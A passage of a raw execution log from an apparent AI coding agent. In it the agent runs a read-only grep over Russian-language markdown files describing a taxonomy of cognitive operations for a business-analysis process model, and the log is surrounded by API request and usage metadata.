\"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:57.688Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:46:57.690Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:57.693Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:57.695Z] [STDOUT]   \"cf-ray\": \"a429607fcee6dbb5-FRA\",\n[2026-09-29T07:46:57.699Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:46:57.701Z] [STDOUT] [log_d94508] response parsed {\n[2026-09-29T07:46:57.703Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:57.708Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:57.712Z] [STDOUT]   body: X {\n[2026-09-29T07:46:57.715Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:46:57.719Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:46:57.721Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:46:57.726Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:46:57.730Z] [STDOUT]     },\n[2026-09-29T07:46:57.736Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:46:57.741Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:46:57.744Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:46:57.747Z] [STDOUT]   },\n[2026-09-29T07:46:57.750Z] [STDOUT]   durationMs: 809,\n[2026-09-29T07:46:57.754Z] [STDOUT] }\n[2026-09-29T07:46:57.835Z] [INFO] {\n[2026-09-29T07:46:57.835Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:46:57.835Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:46:57.835Z] [INFO]   \"estimated_tokens\": 50,\n[2026-09-29T07:46:57.835Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:46:57.835Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:57.835Z] [INFO]   \"uuid\": \"bba877cd-a937-4da1-9e02-d5b49e30a122\"\n[2026-09-29T07:46:57.835Z] [INFO] }\n[2026-09-29T07:46:58.351Z] [INFO] {\n[2026-09-29T07:46:58.351Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:46:58.351Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:46:58.351Z] [INFO]   \"estimated_tokens\": 186,\n[2026-09-29T07:46:58.351Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:46:58.351Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:58.351Z] [INFO]   \"uuid\": \"b8717e72-c431-4141-921b-55304d903401\"\n[2026-09-29T07:46:58.351Z] [INFO] }\n[2026-09-29T07:46:58.358Z] [INFO] {\n[2026-09-29T07:46:58.358Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:46:58.358Z] [INFO]   \"message\": {\n[2026-09-29T07:46:58.358Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:46:58.358Z] [INFO]     \"id\": \"msg_011CfXMsXv5EeLYC3fnXXoQp\",\n[2026-09-29T07:46:58.358Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:46:58.358Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:46:58.358Z] [INFO]     \"content\": [\n[2026-09-29T07:46:58.358Z] [INFO]       {\n[2026-09-29T07:46:58.358Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:46:58.358Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:46:58.358Z] [INFO]         \"signature\": \"CAQS4AUKEAgSGAI4AUIIdGhpbmtpbmcSDDIJs9tVCMnVfOGgghoMU4Tej4KAde2Kf/Q4IjBFeg8f6yu6cgZmUWrSGbawbl/qVDA0hLqhxvL7Caz7Elt1bGfY9+03UcRo/YLs7JMq/QThdh/rL2V/XBkEsL7RLaNKuciQ191iR67nHhuEtEhqMS1tPkJUcthgbuD0HrEN1OjauiKDeUG8Kb9Q8CKon3wDMRU9UhrZ5FBKPKruwLB5e2tmWpio3R+Be+U5j9xlmuDSWHHM/znqDSh4pXWD1v8QFdFToMVL9/Y3yIpaYo4MbtwwPDfzlSPtcPV4BFAUHZFvhwwez0u3/JFlxoY1l5ZRlhddIV/+u3Yl6rDfxe3chFpWNustoWOJusJ1vlhuO7bFYGmitiiNz2T5DS6yuAJTFCyReEX4FUykte3p4aMU+25WAWah8CwZeVCSs7wXg6PJ1I6lZ2AhVm8vdymFfxeQq8EBTS7CJPMqIFqLm01ggQdegm8tRQDSp2z4JUM7iWVhGx5DCAiYy94wO5koZfSK384vUDsLdTZDJ9uH+VsaLfAEj7IUj6cqYIYoxxMnyOHJTvDCn/yJvWm2t+JEcIHGXbXu+u37GnCwSQUm6sTV35xWqUry+PZDPvyEa88t0bRCggCSp859ey81V8HdMG3tjJFLOPyr4e+cAzwVKqVSsUB7/bcXlZEgtpGkSf5GjdNcjoc7p3zZpq7tT9lm7VOqYLBY334SPxaKMRnbKOTkV9DO5WTNfRgvZtvs5ixMQ/Yd+zeB8ZMTcWCoD/DNMkTkfs0N4JETVgScO+UuCVED8T30Sw09oae+t3jF0/W6sYIJdocces+6cgI/uCK3BDjsjaJVTXHpH4srs/1p22SzImfaQafBcyTi5JsMkdGP2aXpszsJZUlMZ8C74JlmBfTnXUpAts2akuaz6bfgXH7Q8RBO+Eud2ydfjqfkKU3SHz6Ez2/+c9nosw+AM+VWGAE=\"\n[2026-09-29T07:46:58.358Z] [INFO]       }\n[2026-09-29T07:46:58.358Z] [INFO]     ],\n[2026-09-29T07:46:58.358Z] [INFO]     \"container\": null,\n[2026-09-29T07:46:58.358Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:46:58.358Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:46:58.358Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:46:58.358Z] [INFO]     \"usage\": {\n[2026-09-29T07:46:58.358Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:46:58.358Z] [INFO]       \"cache_creation_input_tokens\": 3102,\n[2026-09-29T07:46:58.358Z] [INFO]       \"cache_read_input_tokens\": 43230,\n[2026-09-29T07:46:58.358Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:46:58.358Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:46:58.358Z] [INFO]         \"ephemeral_1h_input_tokens\": 3102\n[2026-09-29T07:46:58.358Z] [INFO]       },\n[2026-09-29T07:46:58.358Z] [INFO]       \"output_tokens\": 6,\n[2026-09-29T07:46:58.358Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:46:58.358Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:46:58.358Z] [INFO]     },\n[2026-09-29T07:46:58.358Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:46:58.358Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:46:58.358Z] [INFO]     \"context_management\": null\n[2026-09-29T07:46:58.358Z] [INFO]   },\n[2026-09-29T07:46:58.358Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:46:58.358Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:58.358Z] [INFO]   \"uuid\": \"23aa8445-8dca-45db-b665-a971c2943187\",\n[2026-09-29T07:46:58.358Z] [INFO]   \"timestamp\": \"2026-09-29T07:46:58.350Z\",\n[2026-09-29T07:46:58.358Z] [INFO]   \"request_id\": \"req_011CfXMsXVGyHXUbJLWgER6c\"\n[2026-09-29T07:46:58.358Z] [INFO] }\n[2026-09-29T07:46:59.059Z] [INFO] {\n[2026-09-29T07:46:59.059Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:46:59.059Z] [INFO]   \"message\": {\n[2026-09-29T07:46:59.059Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:46:59.059Z] [INFO]     \"id\": \"msg_011CfXMsXv5EeLYC3fnXXoQp\",\n[2026-09-29T07:46:59.059Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:46:59.059Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:46:59.059Z] [INFO]     \"content\": [\n[2026-09-29T07:46:59.059Z] [INFO]       {\n[2026-09-29T07:46:59.059Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:46:59.059Z] [INFO]         \"id\": \"toolu_01KDNM1rLjRxmjMWuKhSyWYf\",\n[2026-09-29T07:46:59.059Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:46:59.059Z] [INFO]         \"input\": {\n[2026-09-29T07:46:59.059Z] [INFO]           \"command\": \"cd /tmp/gh-issue-solver-1790667776920/projects/ba-ai-process; grep -n -i \\\"\u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\\\\|\u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\\\\|\u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\\\" ba-meta-model/operation-taxonomy/*.md | cut -c1-280 | head -25\",\n[2026-09-29T07:46:59.059Z] [INFO]           \"description\": \"Search operation taxonomy for cognitive terms\"\n[2026-09-29T07:46:59.059Z] [INFO]         },\n[2026-09-29T07:46:59.059Z] [INFO]         \"caller\": {\n[2026-09-29T07:46:59.059Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:46:59.059Z] [INFO]         }\n[2026-09-29T07:46:59.059Z] [INFO]       }\n[2026-09-29T07:46:59.059Z] [INFO]     ],\n[2026-09-29T07:46:59.059Z] [INFO]     \"container\": null,\n[2026-09-29T07:46:59.059Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:46:59.059Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:46:59.059Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:46:59.059Z] [INFO]     \"usage\": {\n[2026-09-29T07:46:59.059Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:46:59.059Z] [INFO]       \"cache_creation_input_tokens\": 3102,\n[2026-09-29T07:46:59.059Z] [INFO]       \"cache_read_input_tokens\": 43230,\n[2026-09-29T07:46:59.059Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:46:59.059Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:46:59.059Z] [INFO]         \"ephemeral_1h_input_tokens\": 3102\n[2026-09-29T07:46:59.059Z] [INFO]       },\n[2026-09-29T07:46:59.059Z] [INFO]       \"output_tokens\": 6,\n[2026-09-29T07:46:59.059Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:46:59.059Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:46:59.059Z] [INFO]     },\n[2026-09-29T07:46:59.059Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:46:59.059Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:46:59.059Z] [INFO]     \"context_management\": null\n[2026-09-29T07:46:59.059Z] [INFO]   },\n[2026-09-29T07:46:59.059Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:46:59.059Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:59.059Z] [INFO]   \"uuid\": \"b83afa7e-5a1b-4856-a0a7-6cc1c71f8747\",\n[2026-09-29T07:46:59.059Z] [INFO]   \"timestamp\": \"2026-09-29T07:46:59.053Z\",\n[2026-09-29T07:46:59.059Z] [INFO]   \"request_id\": \"req_011CfXMsXVGyHXUbJLWgER6c\",\n[2026-09-29T07:46:59.059Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T07:46:59.059Z] [INFO]     \"toolu_01KDNM1rLjRxmjMWuKhSyWYf\": {\n[2026-09-29T07:46:59.059Z] [INFO]       \"command\": \"cd /tmp/gh-issue-solver-1790667776920/projects/ba-ai-process; grep -n -i \\\"\u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\\\\|\u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\\\\|\u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\\\" ba-meta-model/operation-taxonomy/*.md | cut -c1-280 | head -25\",\n[2026-09-29T07:46:59.059Z] [INFO]       \"description\": \"Search operation taxonomy for cognitive terms\"\n[2026-09-29T07:46:59.059Z] [INFO]     }\n[2026-09-29T07:46:59.059Z] [INFO]   }\n[2026-09-29T07:46:59.059Z] [INFO] }\n[2026-09-29T07:47:00.602Z] [INFO] {\n[2026-09-29T07:47:00.602Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:47:00.602Z] [INFO]   \"message\": {\n[2026-09-29T07:47:00.602Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:47:00.602Z] [INFO]     \"content\": [\n[2026-09-29T07:47:00.602Z] [INFO]       {\n[2026-09-29T07:47:00.602Z] [INFO]         \"tool_use_id\": \"toolu_01KDNM1rLjRxmjMWuKhSyWYf\",\n[2026-09-29T07:47:00.602Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:47:00.602Z] [INFO]         \"content\": \"ba-meta-model/operation-taxonomy/00-introduction.md:27:2. \u041e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u0437\u0434\u0435\u0441\u044c \u2014 **\u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e\u0435, \u043d\u043e \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0437\u0430\u0432\u0435\u0440\u0448\u0451\u043d\u043d\u043e\u0435 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u043e\u0435\\nba-meta-model/operation-taxonomy/00-introduction.md:33:   \u0432\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u044f, \u0440\u043e\u0432\u043d\u043e \u043e\u0434\u0438\u043d \u0442\u0438\u043f \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u044b.\\nba-meta-model/operation-taxonomy/00-introduction.md:37:5. \u0421\u043b\u043e\u0432\u0430\u0440\u044c **\u0437\u0430\u043a\u0440\u044b\u0442\u044b\u0439**: 31 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u0432 \u043f\u044f\u0442\u0438 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445 \u043a\u043b\u0430\u0441\u0441\u0430\u0445 \u2014 \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435,\\nba-meta-model/operation-taxonomy/10-theory.md:24:| `D4` | 8 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0439 \u0438\u0437 13 \u043f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u044f\u044e\u0442 \u0440\u0430\u0437\u043d\u043e\u0440\u043e\u0434\u043d\u044b\u0435 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u0432 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0438: `understanding` \u2014 \u00ab\u0438\u0437\u0432\u043b\u0435\u043a\u0430\u0435\u0442 \u0442\u0435\u0440\u043c\u0438\u043d\u044b, \u0446\u0435\u043b\u0438, \u043d\u0435\u044f\u0432\u043d\u044b\u0435 \u0434\u043e\u043f\u0443\u0449\u0435\u043d\u0438\u044f;\\nba-meta-model/operation-taxonomy/10-theory.md:43:| `OA-4` | **\u041e\u0434\u0438\u043d \u0442\u0438\u043f \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u044b.** \u041e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u043f\u0440\u0438\u043d\u0430\u0434\u043b\u0435\u0436\u0438\u0442 \u0440\u043e\u0432\u043d\u043e \u043e\u0434\u043d\u043e\u043c\u0443 \u043a\u043b\u0430\u0441\u0441\u0443 \u0438\u0437 \u043f\u044f\u0442\u0438 (\u00a73). \u0418\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435 \u0438 \u043f\u043e\u0440\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u0432 \u043e\u0434\u043d\u043e\u043c \u0438\u043c\u0435\\nba-meta-model/operation-taxonomy/10-theory.md:51:## 3. \u041f\u044f\u0442\u044c \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445 \u043a\u043b\u0430\u0441\u0441\u043e\u0432\\nba-meta-model/operation-taxonomy/20-taxonomy.md:48:| `OI-3` | ID \u0441\u0442\u0430\u0431\u0438\u043b\u0435\u043d \u043f\u0440\u0438 \u0443\u0442\u043e\u0447\u043d\u0435\u043d\u0438\u0438 \u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u0438 \u0438 \u043d\u0435 \u043f\u0435\u0440\u0435\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u043f\u043e\u0441\u043b\u0435 \u0434\u0435\u043f\u0440\u0435\u043a\u0430\u0446\u0438\u0438; \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u043e\u0433\u043e \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441\u043e\u0437\u0434\u0430\u0451\\nba-meta-model/operation-taxonomy/20-taxonomy.md:230:\u043e\u043d\u0438 \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u044f\u043b\u0438 \u0440\u0430\u0437\u043d\u044b\u0435 \u0442\u0438\u043f\u044b \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u044b. \u042d\u0442\u043e \u0438 \u0435\u0441\u0442\u044c \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u043d\u044b\u0439 \u0434\u0435\u0444\u0435\u043a\u0442\\nba-meta-model/operation-taxonomy/30-decision-framework.md:29:| 3 | \u0420\u0430\u0431\u043e\u0442\u0430 \u0441\u043e\u0441\u0442\u043e\u0438\u0442 \u0431\u043e\u043b\u0435\u0435 \u0447\u0435\u043c \u0438\u0437 \u043e\u0434\u043d\u043e\u0433\u043e \u0442\u0438\u043f\u0430 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u044b (\u00a73 \u0442\u0435\u043e\u0440\u0438\u0438)? | **\u043d\u0430\u0432\u044b\u043a** (`L3`) | \u0448\u0430\u0433 4 |\\nba-meta-model/operation-taxonomy/30-decision-framework.md:69:| `OG-4` | \u042f\u0440\u0443\u0441 \u043c\u0430\u0448\u0438\u043d\u043d\u043e\u0433\u043e \u0433\u0435\u0439\u0442\u0430 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438: \u0435\u0441\u043b\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u043d\u0435\u043b\u044c\u0437\u044f \u0432\u044b\u0440\u0430\u0437\u0438\u0442\u044c \u043a\u043e\u0434\u043e\u043c \u0438\u043b\u0438 \u0432\u043d\u0435\u0448\u043d\u0435\u0439 \u0441\u0432\u0435\u0440\u043a\u043e\\nba-meta-model/operation-taxonomy/30-decision-framework.md:85:| `EO-4` | \u041e\u0431\u044a\u044f\u0432\u043b\u0435\u043d \u043a\u043b\u0430\u0441\u0441 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u044b, \u0438 \u043e\u043d \u043e\u0434\u0438\u043d | \u043c\u0430\u0448\u0438\u043d\u043d\u0430\u044f |\",\n[2026-09-29T07:47:00.602Z] [INFO]         \"is_error\": false\n[2026-09-29T07:47:00.602Z] [INFO]       }\n[2026-09-29T07:47:00.602Z] [INFO]     ]\n[2026-09-29T07:47:00.602Z] [INFO]   },\n[2026-09-29T07:47:00.602Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:47:00.602Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:00.602Z] [INFO]   \"uuid\": \"c76e18f8-f1bb-40cb-9f17-68cf68c9b906\",\n[2026-09-29T07:47:00.602Z] [INFO]   \"timestamp\": \"2026-09-29T07:47:00.572Z\",\n[2026-09-29T07:47:00.602Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:47:00.602Z] [INFO]     \"stdout\": \"ba-meta-model/operation-taxonomy/00-introduction.md:27:2. \u041e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u0437\u0434\u0435\u0441\u044c \u2014 **\u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e\u0435, \u043d\u043e \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0437\u0430\u0432\u0435\u0440\u0448\u0451\u043d\u043d\u043e\u0435 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u043e\u0435\\nba-meta-model/operation-taxonomy/00-introduction.md:33:   \u0432\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u044f, \u0440\u043e\u0432\u043d\u043e \u043e\u0434\u0438\u043d \u0442\u0438\u043f \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u044b.\\nba-meta-model/operation-taxonomy/00-introduction.md:37:5. \u0421\u043b\u043e\u0432\u0430\u0440\u044c **\u0437\u0430\u043a\u0440\u044b\u0442\u044b\u0439**: 31 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u0432 \u043f\u044f\u0442\u0438 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445 \u043a\u043b\u0430\u0441\u0441\u0430\u0445 \u2014 \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435,\\nba-meta-model/operation-taxonomy/10-theory.md:24:| `D4` | 8 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0439 \u0438\u0437 13 \u043f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u044f\u044e\u0442 \u0440\u0430\u0437\u043d\u043e\u0440\u043e\u0434\u043d\u044b\u0435 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u0432 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0438: `understanding` \u2014 \u00ab\u0438\u0437\u0432\u043b\u0435\u043a\u0430\u0435\u0442 \u0442\u0435\u0440\u043c\u0438\u043d\u044b, \u0446\u0435\u043b\u0438, \u043d\u0435\u044f\u0432\u043d\u044b\u0435 \u0434\u043e\u043f\u0443\u0449\u0435\u043d\u0438\u044f;\\nba-meta-model/operation-taxonomy/10-theory.md:43:| `OA-4` | **\u041e\u0434\u0438\u043d \u0442\u0438\u043f \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u044b.** \u041e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u043f\u0440\u0438\u043d\u0430\u0434\u043b\u0435\u0436\u0438\u0442 \u0440\u043e\u0432\u043d\u043e \u043e\u0434\u043d\u043e\u043c\u0443 \u043a\u043b\u0430\u0441\u0441\u0443 \u0438\u0437 \u043f\u044f\u0442\u0438 (\u00a73). \u0418\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435 \u0438 \u043f\u043e\u0440\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u0432 \u043e\u0434\u043d\u043e\u043c \u0438\u043c\u0435\\nba-meta-model/operation-taxonomy/10-theory.md:51:## 3. \u041f\u044f\u0442\u044c \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445 \u043a\u043b\u0430\u0441\u0441\u043e\u0432\\nba-meta-model/operation-taxonomy/20-taxonomy.md:48:| `OI-3` | ID \u0441\u0442\u0430\u0431\u0438\u043b\u0435\u043d \u043f\u0440\u0438 \u0443\u0442\u043e\u0447\u043d\u0435\u043d\u0438\u0438 \u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u0438 \u0438 \u043d\u0435 \u043f\u0435\u0440\u0435\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u043f\u043e\u0441\u043b\u0435 \u0434\u0435\u043f\u0440\u0435\u043a\u0430\u0446\u0438\u0438; \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u043e\u0433\u043e \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441\u043e\u0437\u0434\u0430\u0451\\nba-meta-model/operation-taxonomy/20-taxonomy.md:230:\u043e\u043d\u0438 \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u044f\u043b\u0438 \u0440\u0430\u0437\u043d\u044b\u0435 \u0442\u0438\u043f\u044b \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u044b. \u042d\u0442\u043e \u0438 \u0435\u0441\u0442\u044c \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u043d\u044b\u0439 \u0434\u0435\u0444\u0435\u043a\u0442\\nba-meta-model/operation-taxonomy/30-decision-framework.md:29:| 3 | \u0420\u0430\u0431\u043e\u0442\u0430 \u0441\u043e\u0441\u0442\u043e\u0438\u0442 \u0431\u043e\u043b\u0435\u0435 \u0447\u0435\u043c \u0438\u0437 \u043e\u0434\u043d\u043e\u0433\u043e \u0442\u0438\u043f\u0430 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u044b (\u00a73 \u0442\u0435\u043e\u0440\u0438\u0438)? | **\u043d\u0430\u0432\u044b\u043a** (`L3`) | \u0448\u0430\u0433 4 |\\nba-meta-model/operation-taxonomy/30-decision-framework.md:69:| `OG-4` | \u042f\u0440\u0443\u0441 \u043c\u0430\u0448\u0438\u043d\u043d\u043e\u0433\u043e \u0433\u0435\u0439\u0442\u0430 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438: \u0435\u0441\u043b\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u043d\u0435\u043b\u044c\u0437\u044f \u0432\u044b\u0440\u0430\u0437\u0438\u0442\u044c \u043a\u043e\u0434\u043e\u043c \u0438\u043b\u0438 \u0432\u043d\u0435\u0448\u043d\u0435\u0439 \u0441\u0432\u0435\u0440\u043a\u043e\\nba-meta-model/operation-taxonomy/30-decision-framework.md:85:| `EO-4` | \u041e\u0431\u044a\u044f\u0432\u043b\u0435\u043d \u043a\u043b\u0430\u0441\u0441 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u044b, \u0438 \u043e\u043d \u043e\u0434\u0438\u043d | \u043c\u0430\u0448\u0438\u043d\u043d\u0430\u044f |\",\n[2026-09-29T07:47:00.602Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T07:47:00.602Z] [INFO]     \"interrupted\": false,\n[2026-09-29T07:47:00.602Z] [INFO]     \"isImage\": false,\n[2026-09-29T07:47:00.602Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T07:47:00.602Z] [INFO]   }\n[2026-09-29T07:47:00.602Z] [INFO] }\n[2026-09-29T07:47:00.673Z] [STDOUT] [log_781ea2] sending request {\n[2026-09-29T07:47:00.676Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:47:00.678Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:47:00.680Z] [STDOUT]   options: {\n[2026-09-29T07:47:00.684Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:47:00.689Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:47:00.691Z] [STDOUT]     body: {\n[2026-09-29T07:47:00.696Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:47:00.700Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:47:00.703Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:47:00.711Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:47:00.728Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:47:00.741Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:47:00.754Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:47:00.763Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:47:00.775Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:47:00.779Z] [STDOUT]       thread: [Object 